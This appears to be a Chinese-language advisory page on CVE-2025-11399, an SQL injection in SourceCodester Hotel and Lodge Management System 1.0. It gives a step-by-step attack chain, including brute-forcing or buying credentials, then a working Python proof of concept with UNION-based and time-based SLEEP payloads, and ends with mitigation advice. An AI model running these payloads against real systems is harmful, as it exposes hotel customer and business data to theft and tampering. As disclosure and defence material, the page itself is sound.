IPBUF安全漏洞报告
English
CVE-2025-11399 CVSS 6.3 中危

CVE-2025-11399:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11399
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodesterHotel and Lodge Management SystemCVE-2025-11399Web应用漏洞PHPsave_room.phpfloorno参数中危漏洞远程利用

漏洞概述

CVE-2025-11399是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个SQL注入安全漏洞。该漏洞由安全研究人员[email protected]发现并报告,于2025年10月7日公开披露。CVSS 3.1评分为6.3分,属于中等严重等级。

该漏洞存在于系统的/pages/save_room.php文件中,具体位于对参数floorno的处理逻辑中。攻击者可以通过远程方式利用此漏洞,无需用户交互,但需要低权限认证即可发起攻击。漏洞的成功利用可能导致数据库中的敏感信息泄露、数据被篡改以及服务可用性受到影响。

SourceCodester酒店与旅馆管理系统是一款用于酒店和旅馆日常运营管理的Web应用程序,包含客房管理、预订管理、客户信息管理等核心功能。由于该系统涉及业务运营数据,SQL注入漏洞的存在可能导致大量业务数据和客户隐私信息面临泄露风险。

该漏洞的利用方法已被公开披露,攻击者可以参考公开的PoC代码或技术细节进行攻击。由于利用难度较低且已有公开利用代码,建议相关用户尽快采取修复措施以降低安全风险。

技术细节

该SQL注入漏洞位于SourceCodester酒店与旅馆管理系统1.0版本的/pages/save_room.php文件中。漏洞的根源在于该文件在处理用户提交的floorno参数时,未对该参数进行充分的输入验证和参数化处理,直接将用户输入拼接到SQL查询语句中执行。

从技术层面分析,攻击者可以通过构造恶意的floorno参数值,利用SQL注入技术绕过正常的查询逻辑。典型的攻击payload可能采用联合查询(UNION SELECT)、布尔盲注、时间盲注或报错注入等方式提取数据库中的敏感信息。

由于该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),且仅需要低权限认证(PR:L),攻击者可以在登录系统后,通过向/pages/save_room.php发送精心构造的HTTP请求来触发漏洞。漏洞影响包括机密性、完整性和可用性的降低(C:L/I:L/A:L),表明攻击者不仅可以读取数据库内容,还可能修改数据或影响系统正常运行。

该漏洞的利用链相对简单:攻击者首先获取系统的低权限账户,然后构造包含SQL注入payload的请求,通过floorno参数注入恶意SQL语句,最终实现对后端数据库的非授权访问或操作。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别运行SourceCodester酒店与旅馆管理系统1.0版本的目标站点,并确认目标系统使用了存在漏洞的/pages/save_room.php文件。
STEP 2
步骤2:获取认证凭据
由于漏洞利用需要低权限认证(PR:L),攻击者通过注册功能、暴力破解、凭据填充或购买泄露凭据等方式获取系统的有效低权限账户。
STEP 3
步骤3:登录系统
使用获取的凭据登录目标系统,建立经过身份验证的会话,获取必要的Cookie和会话令牌。
STEP 4
步骤4:构造注入Payload
针对floorno参数构造恶意的SQL注入payload,可采用UNION联合查询、时间盲注、布尔盲注或报错注入等多种技术。
STEP 5
步骤5:发送恶意请求
通过认证会话向/pages/save_room.php发送包含恶意payload的HTTP请求,触发后端数据库执行注入的SQL语句。
STEP 6
步骤6:数据提取与利用
从响应中提取数据库中的敏感信息,如管理员凭据、客户数据、财务信息等,进一步实施数据窃取、权限提升或系统破坏等攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11399 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /pages/save_room.php # Vulnerable Parameter: floorno import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" SAVE_ROOM_URL = f"{TARGET_URL}/pages/save_room.php" # Attacker credentials (low privilege account required) USERNAME = "test_user" PASSWORD = "test_password" # Create session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for floorno parameter # Example: UNION-based injection to extract database version sql_payload = "1' UNION SELECT 1,version(),database(),user(),5,6,7-- -" # Step 3: Send malicious request to trigger SQL injection injection_data = { "floorno": sql_payload, # Additional parameters as required by the application "roomno": "101", "roomtype": "Standard", "price": "100", "status": "Available" } response = session.post(SAVE_ROOM_URL, data=injection_data) # Step 4: Analyze response for extracted data print("Status Code:", response.status_code) print("Response Body:", response.text) # Alternative: Time-based blind injection test time_based_payload = "1' AND SLEEP(5)-- -" time_data = { "floorno": time_based_payload, "roomno": "101" } import time start_time = time.time() session.post(SAVE_ROOM_URL, data=time_data) elapsed_time = time.time() - start_time if elapsed_time >= 5: print(f"[+] Time-based SQL injection confirmed! Elapsed: {elapsed_time}s") else: print(f"[-] No time delay detected. Elapsed: {elapsed_time}s")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,拦截针对/pages/save_room.php的恶意请求;2)对floorno参数实施输入验证,仅允许数字类型的输入值;3)限制/pages/save_room.php文件的访问权限,仅授权必要的用户访问;4)加强数据库账户权限管理,使用最小权限原则配置数据库连接账户;5)启用数据库审计日志,监控异常查询行为;6)定期检查系统日志,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表